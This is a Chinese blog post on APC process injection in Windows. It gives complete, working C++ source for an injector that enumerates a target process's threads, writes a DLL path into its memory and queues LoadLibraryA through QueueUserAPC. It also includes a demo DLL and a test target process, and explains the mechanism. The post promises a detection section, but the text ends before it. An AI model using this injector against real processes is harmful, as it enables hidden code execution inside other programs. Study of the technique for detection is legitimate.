APC进程注入C++示例和检测思考

发布时间 2023-09-15 17:58:56作者: bonelee

直接贴C++代码效果:

apc注入到pid为39712的进程

procexp可以看到注入的DLL!

 

好了,我们看看代码如何写:

注入部分

// inject3.cpp : 此文件包含 "main" 函数。程序执行将在此处开始并结束。
#include <iostream>
#include<Windows.h>
#include<TlHelp32.h>

using namespace std;

void ShowError(const char* pszText)
{
	char szError[MAX_PATH] = { 0 };
	::wsprintf(szError, "%s Error[%d]\n", pszText, ::GetLastError());
	::MessageBox(NULL, szError, "ERROR", MB_OK);
}


//列出指定进程的所有线程
BOOL GetProcessThreadList(DWORD th32ProcessID, DWORD** ppThreadIdList, LPDWORD pThreadIdListLength)
{
	// 申请空间
	DWORD dwThreadIdListLength = 0;
	DWORD dwThreadIdListMaxCount = 2000;
	LPDWORD pThreadIdList = NULL;
	HANDLE hThreadSnap = INVALID_HANDLE_VALUE;

	pThreadIdList = (LPDWORD)VirtualAlloc(NULL, dwThreadIdListMaxCount * sizeof(DWORD), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
	if (pThreadIdList == NULL)
	{
		return FALSE;
	}

	RtlZeroMemory(pThreadIdList, dwThreadIdListMaxCount * sizeof(DWORD));

	THREADENTRY32 th32 = { 0 };

	// 拍摄快照
	hThreadSnap = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, th32ProcessID);

	if (hThreadSnap == INVALID_HANDLE_VALUE)
	{
		return FALSE;
	}

	// 结构的大小
	th32.dwSize = sizeof(THREADENTRY32);

	//遍历所有THREADENTRY32结构, 按顺序填入数组

	BOOL bRet = Thread32First(hThreadSnap, &th32);
	while (bRet)
	{
		if (th32.th32OwnerProcessID == th32ProcessID)
		{
			if (dwThreadIdListLength >= dwThreadIdListMaxCount)
			{
				break;
			}
			pThreadIdList[dwThreadIdListLength++] = th32.th32ThreadID;
		}
		bRet = Thread32Next(hThreadSnap, &th32);
	}

	*pThreadIdListLength = dwThreadIdListLength;
	*ppThreadIdList = pThreadIdList;

	return TRUE;
}
BOOL APCInject(HANDLE hProcess, CHAR* wzDllFullPath, LPDWORD pThreadIdList, DWORD dwThreadIdListLength)
{
	// 申请内存

	PVOID lpAddr = NULL;
	SIZE_T page_size = 4096;

	lpAddr = ::VirtualAllocEx(hProcess, nullptr, page_size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);

	if (lpAddr == NULL)
	{
		ShowError("VirtualAllocEx - Error\n\n");
		VirtualFreeEx(hProcess, lpAddr, page_size, MEM_DECOMMIT);
		CloseHandle(hProcess);
		return FALSE;
	}
	// 把Dll的路径复制到内存中
	if (FALSE == ::WriteProcessMemory(hProcess, lpAddr, wzDllFullPath, (strlen(wzDllFullPath) + 1) * sizeof(wzDllFullPath), nullptr))
	{
		ShowError("WriteProcessMemory - Error\n\n");
		VirtualFreeEx(hProcess, lpAddr, page_size, MEM_DECOMMIT);
		CloseHandle(hProcess);
		return FALSE;
	}

	// 获得LoadLibraryA的地址
	PVOID loadLibraryAddress = ::GetProcAddress(::GetModuleHandle("kernel32.dll"), "LoadLibraryA");

	// 遍历线程, 插入APC
	float fail = 0;
	for (int i = dwThreadIdListLength - 1; i >= 0; i--)
	{
		// 打开线程
		HANDLE hThread = ::OpenThread(THREAD_ALL_ACCESS, FALSE, pThreadIdList[i]);
		if (hThread)
		{
			// 插入APC
			if (!::QueueUserAPC((PAPCFUNC)loadLibraryAddress, hThread, (ULONG_PTR)lpAddr))
			{
				fail++;
			}
			// 关闭线程句柄
			::CloseHandle(hThread);
			hThread = NULL;
		}
	}

	printf("Total Thread: %d\n", dwThreadIdListLength);
	printf("Total Failed: %d\n", (int)fail);

	if ((int)fail == 0 || dwThreadIdListLength / fail > 0.5)
	{
		printf("Success to Inject APC\n");
		return TRUE;
	}
	else
	{
		printf("Inject may be failed\n");
		return FALSE;
	}
}


int main()
{
	ULONG32 ulProcessID = 0;
	printf("Input the Process ID:");
	cin >> ulProcessID;
	CHAR wzDllFullPath[MAX_PATH] = "C:\\Users\\source\\repos\\injected_dll\\x64\\Release\\injected_dll.dll";// "C:\\Users\\l00379637\\source\\repos\\test_dll\\Release\\test_dll.dll";

	LPDWORD pThreadIdList = NULL;
	DWORD dwThreadIdListLength = 0;

	if (!GetProcessThreadList(ulProcessID, &pThreadIdList, &dwThreadIdListLength))
	{
		printf("Can not list the threads\n");
		exit(0);
	}
	//打开句柄
	HANDLE hProcess = OpenProcess(PROCESS_VM_OPERATION | PROCESS_VM_WRITE, FALSE, ulProcessID);

	if (hProcess == NULL)
	{
		printf("Failed to open Process\n");
		return FALSE;
	}

	//注入
	if (!APCInject(hProcess, wzDllFullPath, pThreadIdList, dwThreadIdListLength))
	{
		printf("Failed to inject DLL\n");
		return FALSE;
	}
	return 0;
}

  

我们的DLL部分injected_dll.dll代码:

// myhack.cpp
// dllmain.cpp : 定义 DLL 应用程序的入口点。
#include "pch.h"
#include "windows.h"
#include "tchar.h"


DWORD WINAPI ThreadProc(LPVOID lParam)
{
	::MessageBoxW(NULL, L"szPath", L"captain?", 0); //调用函数进行URL下载
	return 0;

}

BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)
{
	HANDLE hThread = NULL;

	switch (fdwReason)
	{
	case DLL_PROCESS_ATTACH:
		OutputDebugString(L"<myhack.dll> Injection!!!");
		//创建远程线程进行download
		hThread = CreateThread(NULL, 0, ThreadProc, NULL, 0, NULL);
		// 需要注意,切记随手关闭句柄,保持好习惯
		CloseHandle(hThread);
		break;
	}

	return TRUE;
}

  

被注入的进程代码:

// sleephere.cpp : 此文件包含 "main" 函数。程序执行将在此处开始并结束。
#include <windows.h>
#include <synchapi.h>
#include <iostream>

int main()
{
    std::cout << "Hello World!\n";
	DWORD pid = GetCurrentProcessId();
	std::cout << "当前进程的PID是: " << pid << std::endl;
	while (1) {
		SleepEx(1000, true);
		std::cout << "You are done!\n";
	}
	std::cout << "Exit!\n";
}

  

里面有一个关键函数:

SleepEx

其中,第二个参数表示是否可以被唤醒。解释见后:

 

我们再注入explorer.exe

 

注意:上述代码都是windows 64 release运行! 

 

APC 是一个简称,具体名字叫做异步过程调用,我们看下MSDN中的解释,异步过程调用,属于是同步对象中的函数,所以去同步对象中查看.

首先介绍一下APC,会了正想开发就会逆向注入

首先第一个函数

QueueUserApc: 函数作用,添加制定的异步函数调用(回调函数)到执行的线程的APC队列中

APCproc:   函数作用: 回调函数的写法.

我们首先要知道异步函数调用的原理,

异步过程调用是一种能在特定线程环境中异步执行的系统机制。

往线程APC队列添加APC,系统会产生一个软中断。在线程下一次被调度的时候,就会执行APC函数,APC有两种形式,由系统产生的APC称为内核模式APC,由应用程序产生的APC被称为用户模式APC

这里介绍一下应用程序的APC

APC是往线程中插入一个回调函数,但是用的APC调用这个回调函数是有条件的.我们看下Msdn怎么写

MSDN说,要使用SleepEx,signalObjectAndWait.....等等这些函数才会触发

那么使用APC场合的注入就有了,

1.必须是多线程环境下

2.注入的程序必须会调用上面的那些同步对象.

那么我们可以注入APC,注意下条件,也不是所有都能注入的.

注入方法的原理:

1.当对面程序执行到某一个上面的等待函数的时候,系统会产生一个中断

2.当线程唤醒的时候,这个线程会优先去Apc队列中调用回调函数

3.我们利用QueueUserApc,往这个队列中插入一个回调

4.插入回调的时候,把插入的回调地址改为LoadLibrary,插入的参数我们使用VirtualAllocEx申请内存,并且写入进去

使用方法:

1.利用快照枚举所有的线程

2.写入远程内存,写入的是Dll的路径

3.插入我们的DLL即可

 

好了!我们接下来看看应该如何进行检测!